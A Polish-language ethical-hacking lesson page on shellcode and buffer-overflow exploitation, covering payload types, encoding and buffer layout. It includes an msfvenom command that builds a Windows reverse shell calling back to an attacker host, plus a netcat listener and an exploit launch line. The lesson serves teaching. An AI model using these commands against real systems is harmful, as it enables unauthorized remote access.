0Pricing
Ethical Hacking Academy · Lekcja

Shellcode i eksploatacja

Uzyskiwanie powłoki

Shellcode i eksploatacja to bezpłatna lekcja Ethical Hacking Academy na CoddyKit. To lekcja 4 z 4. Możesz przeczytać całą lekcję poniżej za darmo — a potem ćwiczyć ją interaktywnie w przeglądarce z wbudowanym edytorem kodu i tutorem AI dostępnym 24/7. To część ścieżki edukacyjnej Ethical Hacking Academy, a Twój postęp synchronizuje się między webem a aplikacją CoddyKit. Kurs Ethical Hacking Academy zawiera 4 lekcji w sumie.

Czym jest shellcode

Shellcode to niewielki fragment kodu maszynowego, który po wykonaniu realizuje określone działanie — tradycyjnie uruchamia powłokę. Jest to ładunek, do którego przekierowuje się wykonanie po przejęciu kontroli nad EIP.

Jest zapisany jako surowe bajty (kody operacji), dzięki czemu można go bezpośrednio wstrzyknąć do pamięci.

Rodzaje ładunków

Typowe cele ładunków obejmują:

  • Bind shell: otwiera port nasłuchujący na zaatakowanym komputerze.
  • Reverse shell: nawiązuje połączenie zwrotne z atakującym (co ułatwia przejście przez zapory sieciowe i NAT).
  • Execute command: wykonuje pojedyncze polecenie, na przykład dodanie użytkownika.

Reverse shell jest najczęściej używany podczas rzeczywistych testów bezpieczeństwa.

Generowanie za pomocą msfvenom

msfvenom generuje ładunki. Należy określić typ ładunku, adres i port nasłuchującego, format wyjściowy oraz niedozwolone znaki, których należy unikać.

Flaga -b wyklucza niedozwolone znaki, a -f ustawia format wyjściowy.

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 -b "\x00\x0a\x0d" -f c

Dlaczego potrzebne jest kodowanie

Surowy shellcode często zawiera niedozwolone znaki (takie jak bajty null). Koder przekształca ładunek, aby uniknąć tych bajtów, a następnie dodaje na początku procedurę dekodującą, która odtwarza oryginalny kod podczas działania.

Klasycznym koderem jest x86/shikata_ga_nai.

msfvenom ... -e x86/shikata_ga_nai -b "\x00"

Dekoder i samomodyfikacja

Kodowany shellcode dekoduje się w pamięci przed uruchomieniem. Ta samomodyfikacja wymaga pewnego zapasu miejsca na stosie, dlatego między innymi pomocne są ślizg NOP i odpowiednio duży bufor.

Czasami trzeba najpierw dostosować ESP, aby dekoder nie uszkodził własnego kodu.

Składanie ostatecznego exploita

Kompletny bufor exploita składa się z:

  • Dopełnienia do przesunięcia.
  • Adresu powrotu JMP ESP.
  • Ślizgu NOP.
  • Kodowanego shellcode.

Wystarczy wysłać go do podatnego wejścia, aby wykonanie zostało przekierowane do ładunku.

buf = "A"*offset + ret + "\x90"*16 + shellcode

Konfigurowanie nasłuchiwania

W przypadku powłoki zwrotnej przed uruchomieniem exploita należy rozpocząć nasłuchiwanie na swoim komputerze. Prosty nasłuch Netcat przechwyci przychodzące połączenie.

W przypadku payloadów etapowych należy zamiast tego użyć multi/handler w Metasploit.

nc -lvnp 4444

Uruchamianie exploita

Gdy nasłuch jest gotowy, wyślij przygotowany bufor do celu. Jeśli wszystko się zgadza, shellcode zostanie uruchomiony, a nasłuch odbierze powłokę na zaatakowanym systemie.

Masz teraz możliwość wykonywania poleceń z uprawnieniami podatnego procesu.

python exploit.py 10.0.0.20 9999

Rozwiązywanie problemów

Jeśli atak się nie powiedzie, sprawdź typowe przyczyny:

  • Do shellcode'u lub adresu powrotu przedostał się niedozwolony znak.
  • Ślizg NOP jest zbyt krótki.
  • Dekoder nie miał wystarczająco dużo miejsca na stosie (dostosuj ESP).
  • Nieprawidłowy offset lub porządek bajtów.

Metodyczne debugowanie w debuggerze pozwala wyizolować problem.

Poza klasycznym przepełnieniem

Przy włączonych mechanizmach DEP i ASLR zwykły shellcode umieszczony na stosie nie zostanie wykonany. Współczesne exploity wykorzystują programowanie zorientowane na powroty (ROP) do łączenia istniejących fragmentów kodu oraz wycieki informacji do obejścia ASLR.

Ten kurs przedstawił podstawy, na których opierają się te zaawansowane techniki.

Payload etapowy a bezetapowy

Payloady występują w dwóch wariantach. Payload bezetapowy zawiera cały shellcode w jednym bloku. Payload etapowy wysyła niewielki kod pośredniczący, który pobiera resztę z handlera.

Payloady etapowe mieszczą się w mniejszych buforach, ale wymagają zgodnego handlera, takiego jak multi/handler w Metasploit, aby dostarczyć drugi etap.

Szybki sprawdzian

Przypomnij sobie, dlaczego shellcode jest często kodowany.

Podsumowanie

Ukończyłeś cały łańcuch eksploatacji:

  • Shellcode to payload; najbardziej praktyczne są powłoki zwrotne.
  • Wygeneruj go i zakoduj za pomocą msfvenom, aby ominąć niedozwolone znaki.
  • Połącz wypełnienie + JMP ESP + ślizg NOP + shellcode, uruchom nasłuch i przeprowadź atak.
  • Współczesne cele wymagają użycia ROP i wycieków informacji do pokonania DEP/ASLR.

Ukończyłeś kurs eksploatacji przepełnienia bufora.

Często zadawane pytania

Czy lekcja „Shellcode i eksploatacja” jest bezpłatna?

Tak — pełny tekst „Shellcode i eksploatacja” jest dostępny za darmo tutaj w sieci. Aby ćwiczyć ją interaktywnie (wbudowany edytor kodu i tutor AI dostępny 24/7) i odblokować resztę kursu Ethical Hacking Academy, przejdź na CoddyKit PRO. Kurs Ethical Hacking Academy zawiera 4 lekcji w sumie.

Co nauczysz się w „Shellcode i eksploatacja”?

Uzyskiwanie powłoki Ćwiczysz Ethical Hacking Academy z praktycznym kodem, który uruchamiasz bezpośrednio w przeglądarce, a tutor AI dostępny 24/7 odpowiada na Twoje pytania podczas pracy nad lekcją.

Czy potrzebuję doświadczenia, aby zacząć Ethical Hacking Academy?

Nie wymagamy żadnego doświadczenia. Ethical Hacking Academy w CoddyKit jest strukturyzowany dla początkujących i zaawansowanych użytkowników, więc możesz zacząć tutaj lub od początku i uczyć się w swoim tempie. To lekcja 4 z 4.

Ile czasu zajmuje lekcja „Shellcode i eksploatacja”?

Większość lekcji CoddyKit trwa około 5–10 minut. Każda lekcja to mały, interaktywny krok, dzięki czemu robisz systematyczne postępy i zawsze wracasz dokładnie do tego samego miejsca — na webie i w aplikacji.

Czy mogę pisać i uruchamiać kod w tej lekcji Ethical Hacking Academy?

Tak. Każda lekcja Ethical Hacking Academy zawiera wbudowany edytor kodu, więc piszesz i uruchamiasz prawdziwy kod bezpośrednio w przeglądarce i od razu otrzymujesz sprzężenie zwrotne od AI — bez konfiguracji na komputerze.

Wszystkie lekcje w tym kursie

  1. Pamięć i stos
  2. Fuzzing w poszukiwaniu awarii
  3. Kontrolowanie EIP
  4. Shellcode i eksploatacja
← Powrót do Ethical Hacking Academy